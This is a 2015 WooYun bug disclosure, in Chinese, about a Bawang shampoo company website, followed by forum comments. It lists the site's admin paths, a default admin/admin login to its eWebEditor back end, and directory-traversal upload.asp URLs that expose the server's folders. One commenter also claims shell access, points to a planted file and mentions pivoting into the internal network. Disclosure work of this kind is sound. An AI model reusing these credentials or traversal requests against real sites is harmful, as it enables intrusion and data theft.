漏洞概要
关注数(24)
关注此漏洞
漏洞标题：霸王洗发水旗下某站点弱口令+任意文件遍历/下载
提交时间：2015-03-27 20:51
修复时间：2015-05-11 20:52
公开时间：2015-05-11 20:52
漏洞类型：任意文件遍历/下载
危害等级：中
自评Rank：5
漏洞状态：未联系到厂商或者厂商积极忽略
Tags标签：
无
漏洞详情
披露状态：
2015-03-27： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-05-11： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
RT...
详细说明：
Duang~Duang~Duang 前段时间很火，于是乎就想起了成龙代言的霸王洗发水了，由于本屌丝也一直用霸王，无意就百度了下霸王，就发现了霸王官网居然被挂了黑链，肯定是由于某种漏洞，于是查询一番发现主站存在两个后台 一个/admin 一个/system 分别是两种系统
http://www.bawang.com.cn/System/
http://www.bawang.com.cn/admin/
没弱口令比较鸡肋 发现一个后台是WanHu ezEIP 这系统应该有ewebeditor 编辑器，发现一个ewebeditor后台
http://www.bawang.com.cn/system/eWebEditor/admin/ 利用默认密码 admin admin
默认密码成功进入 又发现目录没有写入权限， 发现很多跨目录 危及同服务器下所有子站点
http://www.bawang.com.cn/system/ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir=..
http://www.bawang.com.cn/system/ewebeditor/admin/upload.asp?id=&dir=/../..
http://www.bawang.com.cn/system/ewebeditor/admin/upload.asp?id=&dir=/../../AppServ/www
危及到旗下众多子站 看到小部分裤子！
漏洞证明：
http://www.bawang.com.cn/system/ewebeditor/admin/upload.asp?id=&dir=/../..
http://www.bawang.com.cn/system/ewebeditor/admin/upload.asp?id=&dir=/../../AppServ/www
修复方案：
版权声明：转载请注明来源 Q1NG@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝
漏洞Rank：8 (WooYun评价)
漏洞评价：
评论
-
2015-03-27 21:46 |
90Snake ( 普通白帽子 | Rank:109 漏洞数:42 | 最大的漏洞就是人)
-
2015-03-28 08:29 |
大物期末不能挂 ( 普通白帽子 | Rank:132 漏洞数:23 | 1.一个学渣，只求每门都不挂2.想把漏洞提...)
-
2015-03-28 10:42 |
悠然 ( 路人 | Rank:11 漏洞数:2 | 掏粪哪家强？ด้้้้้็็็็็้้้...)
-
2015-03-28 13:18 |
大脸娃娃 ( 路人 | Rank:20 漏洞数:4 | 莫西莫西 呼啦嘚)
-
2015-03-28 17:34 |
pain ( 路人 | Rank:12 漏洞数:5 )
-
2015-03-28 18:06 |
Sword ( 路人 | Rank:16 漏洞数:11 | 求大牛带飞)
-
2015-03-28 19:12 |
mtfly ( 路人 | Rank:26 漏洞数:6 | 啥都不会)
-
2015-03-28 19:43 |
加菲不一定是猫 ( 路人 | Rank:0 漏洞数:1 | 好懒)
-
2015-03-29 02:43 |
DeadSea ( 实习白帽子 | Rank:86 漏洞数:28 | 静心)
一开始我是拒绝的。听说之后可以加特效 头发duang~~duang~~duang 你妈晕了怎么说You are mother Duang!Duang!
-
2015-03-29 09:44 |
qhwlpg ( 普通白帽子 | Rank:226 漏洞数:54 | 潜心代码审计。)
-
2015-03-30 20:05 |
八云紫 ( 实习白帽子 | Rank:64 漏洞数:11 | 普建出长门，大建出大和)
-
2015-03-30 20:05 |
八云紫 ( 实习白帽子 | Rank:64 漏洞数:11 | 普建出长门，大建出大和)
其实一开始听说要抓鸡，我是拒绝的。我不愿意录完以后再加些特技上去，啊，远控上duang~的一下，啊 很多 很屌。这样别人看了一定会笑我：根本没有这样的抓鸡！所以我说 我要先试用一下。结果现在 ，根本停不下来。我爆破之后，是这个样子的。你们爆破完之后，也是这样子的。
-
2015-04-11 12:35 |
小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)
其实第一次要我写程序我是拒绝的，因为，你不能让我写，我就马上去写，第一我要学一下，因为我不愿意写完了以后再查出一些bug出来，数据库duang一下被爆了，很黑、很卡，这样用户出来一定会骂我，根本没有这样的程序，就证明程序猿都是假的。后来我也经过证实程序确实是有漏洞的，我写了大概一个月左右，感觉还不错，后来我在上线的时候也要求他们不要加防火墙，因为我要让用户看到，我用完之后是这个样子，你们用完之后也会是这个样子！
-
2015-04-11 13:00 |
90Snake ( 普通白帽子 | Rank:109 漏洞数:42 | 最大的漏洞就是人)
其实第一次要我写程序我是拒绝的，因为，你不能让我写，我就马上去写，第一我要学一下，因为我不愿意写完了以后再查出一些bug出来，数据库duang一下被爆了，很黑、很卡，这样用户出来一定会骂我，根本没有这样的程序，就证明程序猿都是假的。后来我也经过证实程序确实是有漏洞的，我写了大概一个月左右，感觉还不错，后来我在上线的时候也要求他们不要加防火墙，因为我要让用户看到，我用完之后是这个样子，你们用完之后也会是这个样子！
-
2015-05-12 00:13 |
Ning ( 实习白帽子 | Rank:47 漏洞数:6 )
其实第一次要我写程序我是拒绝的，因为，你不能让我写，我就马上去写，第一我要学一下，因为我不愿意写完了以后再查出一些bug出来，数据库duang一下被爆了，很黑、很卡，这样用户出来一定会骂我，根本没有这样的程序，就证明程序猿都是假的。后来我也经过证实程序确实是有漏洞的，我写了大概一个月左右，感觉还不错，后来我在上线的时候也要求他们不要加防火墙，因为我要让用户看到，我用完之后是这个样子，你们用完之后也会是这个样子！
-
2015-05-12 00:14 |
90Snake ( 普通白帽子 | Rank:109 漏洞数:42 | 最大的漏洞就是人)
-
2015-05-12 00:15 |
Ning ( 实习白帽子 | Rank:47 漏洞数:6 )
-
2015-05-12 00:31 |
90Snake ( 普通白帽子 | Rank:109 漏洞数:42 | 最大的漏洞就是人)
-
2015-05-12 00:31 |
Mr.xt ( 路人 | 还没有发布任何漏洞 | NO SEC NO BB)
其实第一次要我写程序我是拒绝的，因为，你不能让我写，我就马上去写，第一我要学一下，因为我不愿意写完了以后再查出一些bug出来，数据库duang一下被爆了，很黑、很卡，这样用户出来一定会骂我，根本没有这样的程序，就证明程序猿都是假的。后来我也经过证实程序确实是有漏洞的，我写了大概一个月左右，感觉还不错，后来我在上线的时候也要求他们不要加防火墙，因为我要让用户看到，我用完之后是这个样子，你们用完之后也会是这个样子！
-
2015-05-12 04:50 |
小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)
这洞又看了下。可以getshell。。。 让我们大家一起duang~duang~duang
-
2015-05-12 07:43 |
胡小树 ( 实习白帽子 | Rank:60 漏洞数:11 | 我是一颗小小树)
-
2015-05-12 09:08 |
小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)
@胡小树 www.bawang.com.cn/ldhack.txt 你懂的，嘿嘿 包括知名的追风洗发水也是同服务器下的，还可以内网渗透
-
2015-05-12 09:13 |
Walle ( 路人 | Rank:0 漏洞数:5 | ... 位卑、未敢忘忧国！ ...)
其实第一次要我写程序我是拒绝的，因为，你不能让我写，我就马上去写，第一我要学一下，因为我不愿意写完了以后再查出一些bug出来，数据库duang一下被爆了，很黑、很卡，这样用户出来一定会骂我，根本没有这样的程序，就证明程序猿都是假的。后来我也经过证实程序确实是有漏洞的，我写了大概一个月左右，感觉还不错，后来我在上线的时候也要求他们不要加防火墙，因为我要让用户看到，我用完之后是这个样子，你们用完之后也会是这个样子！
